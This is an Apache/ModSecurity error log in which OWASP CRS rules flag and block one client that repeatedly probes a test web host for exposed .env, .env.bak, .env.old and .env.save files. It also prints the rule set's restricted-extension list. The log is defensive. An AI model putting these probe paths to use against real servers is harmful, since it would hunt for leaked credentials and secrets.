[Fri Oct 24 20:58:14.953605 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.953836 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.954125 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:14.954334 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.bak&quot;] [unique_id &quot;aPvMRqDAbBJ3ZgAeIEJbYQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.007910 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.008128 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.008412 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.008595 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.064704 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.064988 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.065182 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbYwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.121467 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.121758 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.121936 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.save&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.200102 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.200321 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.200597 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.200779 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.bak&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZQAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.297557 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.297744 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.298021 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.298190 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZgAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.348040 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.348311 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.348507 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbZwAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.398967 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.399265 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.399471 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env.save&quot;] [unique_id &quot;aPvMR6DAbBJ3ZgAeIEJbaAAAAAE&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:15.839087 2025] [:error] [pid 3730595] [client 52.28.200.164:33784] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag 